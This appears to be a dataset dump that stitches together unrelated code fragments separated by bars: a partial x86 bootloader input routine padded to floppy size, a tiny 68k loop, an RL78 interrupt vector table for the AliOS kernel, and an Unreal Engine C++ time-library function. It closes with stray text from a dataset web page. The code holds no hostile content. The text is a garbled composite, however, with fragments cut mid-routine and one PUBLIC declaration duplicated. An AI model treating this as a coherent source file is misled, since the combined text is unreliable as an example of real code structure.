call print_str ; Print the deleting character (wot)
dec di ; Decrement the pointer
xor al, al ; Store a zero in the input
stosb
dec di ; Decrement again
inc cx ; Increment cx (char deleted)
jmp .loop_inp ; Keep looping
times 1474560 - ($ - $$) db 0 ; Stuff it up
|
org $00100000
init:
moveq #$43,d0
move.b d0,$00AFA000
bra init
|
#include "port_cpu.inc"
NAME ?bsp_vect
EXTERN _int_dummy
EXTERN _krhino_tick_proc
PUBLIC SOC_WDTI
PUBLIC SOC_LVI
PUBLIC SOC_P0
PUBLIC SOC_P1
PUBLIC SOC_P2
PUBLIC SOC_P3
PUBLIC SOC_P4
PUBLIC SOC_P5
PUBLIC SOC_ST2_CSI20_IIC20
PUBLIC SOC_SR2_CSI20_IIC21
PUBLIC SOC_SRE2_TM11H
PUBLIC SOC_DMA0
PUBLIC SOC_DMA1
PUBLIC SOC_ST0_CSI00_IIC00
PUBLIC SOC_ST0_CSI00_IIC00
PUBLIC SOC_SR0_CSI01_IIC01
PUBLIC SOC_SRE0_TM01H
PUBLIC SOC_ST1_CSI10_IIC10
PUBLIC SOC_SR1_CSI11_IIC11
PUBLIC SOC_IICA0
PUBLIC SOC_TM00
PUBLIC SOC_TM01
PUBLIC SOC_TM02
PUBLIC SOC_TM03
PUBLIC SOC_AD
PUBLIC SOC_RTC
PUBLIC SOC_IT
PUBLIC SOC_KR
PUBLIC SOC_ST3_CSI30_IIC30
PUBLIC SOC_SR3_CSI31_IIC31
PUBLIC SOC_TM13
PUBLIC SOC_TM04
PUBLIC SOC_TM05
PUBLIC SOC_TM06
PUBLIC SOC_TM07
PUBLIC SOC_P6
PUBLIC SOC_P7
PUBLIC SOC_P8
PUBLIC SOC_P9
PUBLIC SOC_P10
PUBLIC SOC_P11
PUBLIC SOC_TM10
PUBLIC SOC_TM11
PUBLIC SOC_TM12
PUBLIC SOC_SRE3_TM13H
PUBLIC SOC_MD
PUBLIC SOC_IICA1
PUBLIC SOC_FL
PUBLIC SOC_DMA2
PUBLIC SOC_DMA3
PUBLIC SOC_TM14
PUBLIC SOC_TM15
PUBLIC SOC_TM16
PUBLIC SOC_TM17
PUBLIC ___interrupt_0x04
PUBLIC ___interrupt_0x06
PUBLIC ___interrupt_0x08
PUBLIC ___interrupt_0x0A
PUBLIC ___interrupt_0x0C
PUBLIC ___interrupt_0x0E
PUBLIC ___interrupt_0x10
PUBLIC ___interrupt_0x12
PUBLIC ___interrupt_0x14
PUBLIC ___interrupt_0x16
PUBLIC ___interrupt_0x18
PUBLIC ___interrupt_0x1A
PUBLIC ___interrupt_0x1C
PUBLIC ___interrupt_0x1E
PUBLIC ___interrupt_0x20
PUBLIC ___interrupt_0x22
PUBLIC ___interrupt_0x24
PUBLIC ___interrupt_0x26
PUBLIC ___interrupt_0x28
PUBLIC ___interrupt_0x2A
PUBLIC ___interrupt_0x2C
PUBLIC ___interrupt_0x2E
PUBLIC ___interrupt_0x30
PUBLIC ___interrupt_0x32
PUBLIC ___interrupt_0x34
PUBLIC ___interrupt_0x36
PUBLIC ___interrupt_0x38
PUBLIC ___interrupt_0x3A
PUBLIC ___interrupt_0x3C
PUBLIC ___interrupt_0x3E
PUBLIC ___interrupt_0x40
PUBLIC ___interrupt_0x42
PUBLIC ___interrupt_0x44
PUBLIC ___interrupt_0x46
PUBLIC ___interrupt_0x48
PUBLIC ___interrupt_0x4A
PUBLIC ___interrupt_0x4C
PUBLIC ___interrupt_0x4E
PUBLIC ___interrupt_0x50
PUBLIC ___interrupt_0x52
PUBLIC ___interrupt_0x54
PUBLIC ___interrupt_0x56
PUBLIC ___interrupt_0x58
PUBLIC ___interrupt_0x5A
PUBLIC ___interrupt_0x5C
PUBLIC ___interrupt_0x5E
PUBLIC ___interrupt_0x60
PUBLIC ___interrupt_0x62
PUBLIC ___interrupt_0x64
PUBLIC ___interrupt_0x66
PUBLIC ___interrupt_0x68
PUBLIC ___interrupt_0x6A
PUBLIC ___interrupt_0x6C
PUBLIC ___interrupt_0x6E
;********************************************************************************************************
; OPTION BYTES CONFIGURATIONS
;********************************************************************************************************
SECTION .option_byte:CODE:ROOT(1)
DB 0xEF, 0x57, 0xE8, 0x84
SECTION .security_id:CODE:ROOT(1)
DB 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
;********************************************************************************************************
; INTERRUPT HANDLERS
;********************************************************************************************************
SECTION .text:CODE:ROOT(1)
SOC_WDTI:
___interrupt_0x04:
sys_isr_enter
MOVW AX, #0
CALL _int_dummy
sys_isr_exit
SOC_LVI:
___interrupt_0x06:
sys_isr_enter
MOVW AX, #1
CALL _int_dummy
sys_isr_exit
SOC_P0:
___interrupt_0x08:
sys_isr_enter
MOVW AX, #2
CALL _int_dummy
sys_isr_exit
SOC_P1:
___interrupt_0x0A:
sys_isr_enter
MOVW AX, #3
CALL _int_dummy
sys_isr_exit
SOC_P2:
___interrupt_0x0C:
sys_isr_enter
MOVW AX, #4
CALL _int_dummy
sys_isr_exit
SOC_P3:
___interrupt_0x0E:
sys_isr_enter
MOVW AX, #5
CALL _int_dummy
sys_isr_exit
SOC_P4:
___interrupt_0x10:
sys_isr_enter
MOVW AX, #6
CALL _int_dummy
sys_isr_exit
SOC_P5:
___interrupt_0x12:
sys_isr_enter
MOVW AX, #7
CALL _int_dummy
sys_isr_exit
SOC_ST2_CSI20_IIC20:
___interrupt_0x14:
sys_isr_enter
MOVW AX, #8
CALL _int_dummy
sys_isr_exit
SOC_SR2_CSI20_IIC21:
___interrupt_0x16:
sys_isr_enter
MOVW AX, #9
CALL _int_dummy
sys_isr_exit
SOC_SRE2_TM11H:
___interrupt_0x18:
sys_isr_enter
MOVW AX, #10
CALL _int_dummy
sys_isr_exit
SOC_DMA0:
___interrupt_0x1A:
sys_isr_enter
MOVW AX, #11
CALL _int_dummy
sys_isr_exit
SOC_DMA1:
___interrupt_0x1C:
sys_isr_enter
MOVW AX, #12
CALL _int_dummy
sys_isr_exit
SOC_ST0_CSI00_IIC00:
___interrupt_0x1E:
sys_isr_enter
MOVW AX, #13
CALL _int_dummy
sys_isr_exit
SOC_SR0_CSI01_IIC01:
___interrupt_0x20:
sys_isr_enter
MOVW AX, #14
CALL _int_dummy
sys_isr_exit
SOC_SRE0_TM01H:
___interrupt_0x22:
sys_isr_enter
MOVW AX, #15
CALL _int_dummy
sys_isr_exit
SOC_ST1_CSI10_IIC10:
___interrupt_0x24:
sys_isr_enter
MOVW AX, #16
CALL _int_dummy
sys_isr_exit
SOC_SR1_CSI11_IIC11:
___interrupt_0x26:
sys_isr_enter
MOVW AX, #17
CALL _int_dummy
sys_isr_exit
SOC_SRE1_TM03H:
___interrupt_0x28:
sys_isr_enter
MOVW AX, #18
CALL _int_dummy
sys_isr_exit
SOC_IICA0:
___interrupt_0x2A:
sys_isr_enter
MOVW AX, #19
CALL _int_dummy
sys_isr_exit
SOC_TM00:
___interrupt_0x2C:
sys_isr_enter
MOVW AX, #20
CALL _krhino_tick_proc
sys_isr_exit
SOC_TM01:
___interrupt_0x2E:
sys_isr_enter
MOVW AX, #21
CALL _int_dummy
sys_isr_exit
SOC_TM02:
___interrupt_0x30:
sys_isr_enter
MOVW AX, #22
CALL _int_dummy
sys_isr_exit
SOC_TM03:
___interrupt_0x32:
sys_isr_enter
MOVW AX, #23
CALL _int_dummy
sys_isr_exit
SOC_AD:
___interrupt_0x34:
sys_isr_enter
MOVW AX, #24
CALL _int_dummy
sys_isr_exit
SOC_RTC:
___interrupt_0x36:
sys_isr_enter
MOVW AX, #25
CALL _int_dummy
sys_isr_exit
SOC_IT:
___interrupt_0x38:
sys_isr_enter
MOVW AX, #26
CALL _int_dummy
sys_isr_exit
SOC_KR:
___interrupt_0x3A:
sys_isr_enter
MOVW AX, #27
CALL _int_dummy
sys_isr_exit
SOC_ST3_CSI30_IIC30:
___interrupt_0x3C:
sys_isr_enter
MOVW AX, #28
CALL _int_dummy
sys_isr_exit
SOC_SR3_CSI31_IIC31:
___interrupt_0x3E:
sys_isr_enter
MOVW AX, #29
CALL _int_dummy
sys_isr_exit
SOC_TM13:
___interrupt_0x40:
sys_isr_enter
MOVW AX, #30
CALL _int_dummy
sys_isr_exit
SOC_TM04:
___interrupt_0x42:
sys_isr_enter
MOVW AX, #31
CALL _int_dummy
sys_isr_exit
SOC_TM05:
___interrupt_0x44:
sys_isr_enter
MOVW AX, #32
CALL _int_dummy
sys_isr_exit
SOC_TM06:
___interrupt_0x46:
sys_isr_enter
MOVW AX, #33
CALL _int_dummy
sys_isr_exit
SOC_TM07:
___interrupt_0x48:
sys_isr_enter
MOVW AX, #34
CALL _int_dummy
sys_isr_exit
SOC_P6:
___interrupt_0x4A:
sys_isr_enter
MOVW AX, #35
CALL _int_dummy
sys_isr_exit
SOC_P7:
___interrupt_0x4C:
sys_isr_enter
MOVW AX, #36
CALL _int_dummy
sys_isr_exit
SOC_P8:
___interrupt_0x4E:
sys_isr_enter
MOVW AX, #37
CALL _int_dummy
sys_isr_exit
SOC_P9:
___interrupt_0x50:
sys_isr_enter
MOVW AX, #38
CALL _int_dummy
sys_isr_exit
SOC_P10:
___interrupt_0x52:
sys_isr_enter
MOVW AX, #39
CALL _int_dummy
sys_isr_exit
SOC_P11:
___interrupt_0x54:
sys_isr_enter
MOVW AX, #40
CALL _int_dummy
sys_isr_exit
SOC_TM10:
___interrupt_0x56:
sys_isr_enter
MOVW AX, #41
CALL _int_dummy
sys_isr_exit
SOC_TM11:
___interrupt_0x58:
sys_isr_enter
MOVW AX, #42
CALL _int_dummy
sys_isr_exit
SOC_TM12:
___interrupt_0x5A:
sys_isr_enter
MOVW AX, #43
CALL _int_dummy
sys_isr_exit
SOC_SRE3_TM13H:
___interrupt_0x5C:
sys_isr_enter
MOVW AX, #44
CALL _int_dummy
sys_isr_exit
SOC_MD:
___interrupt_0x5E:
sys_isr_enter
MOVW AX, #45
CALL _int_dummy
sys_isr_exit
SOC_IICA1:
___interrupt_0x60:
sys_isr_enter
MOVW AX, #46
CALL _int_dummy
sys_isr_exit
SOC_FL:
___interrupt_0x62:
sys_isr_enter
MOVW AX, #47
CALL _int_dummy
sys_isr_exit
SOC_DMA2:
___interrupt_0x64:
sys_isr_enter
MOVW AX, #48
CALL _int_dummy
sys_isr_exit
SOC_DMA3:
___interrupt_0x66:
sys_isr_enter
MOVW AX, #49
CALL _int_dummy
sys_isr_exit
SOC_TM14:
___interrupt_0x68:
sys_isr_enter
MOVW AX, #50
CALL _int_dummy
sys_isr_exit
SOC_TM15:
___interrupt_0x6A:
sys_isr_enter
MOVW AX, #51
CALL _int_dummy
sys_isr_exit
SOC_TM16:
___interrupt_0x6C:
sys_isr_enter
MOVW AX, #52
CALL _int_dummy
sys_isr_exit
SOC_TM17:
___interrupt_0x6E:
sys_isr_enter
MOVW AX, #53
CALL _int_dummy
sys_isr_exit
END
|
// Copyright 2017-2021 Closed Sum Games, LLC. All Rights Reserved.
#include "Managers/Time/Script/CsScriptLibrary_Manager_Time.h"
#include "CsCore.h"
// Library
#include "Managers/Time/CsLibrary_Manager_Time.h"
namespace NCsScriptLibraryManagerTime
{
namespace NCached
{
namespace Str
{
CS_DEFINE_CACHED_FUNCTION_NAME_AS_STRING(UCsScriptLibrary_Manager_Time, GetTimeSinceStart);
}
}
}
UCsScriptLibrary_Manager_Time::UCsScriptLibrary_Manager_Time(const FObjectInitializer& ObjectInitializer)
: Super(ObjectInitializer)
{
}
FCsDeltaTime UCsScriptLibrary_Manager_Time::GetTimeSinceStart(const FString& Context, const UObject* WorldContextObject, const FECsUpdateGroup& Group)
{
using namespace NCsScriptLibraryManagerTime::NCached;
const FString& Ctxt = Context.IsEmpty() ? Str::GetTimeSinceStart : Context;
typedef NCsTime::NManager::FLibrary TimeManagerLibrary;
return TimeManagerLibrary::GetSafeTimeSinceStart(Ctxt, WorldContextObject, Group);
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.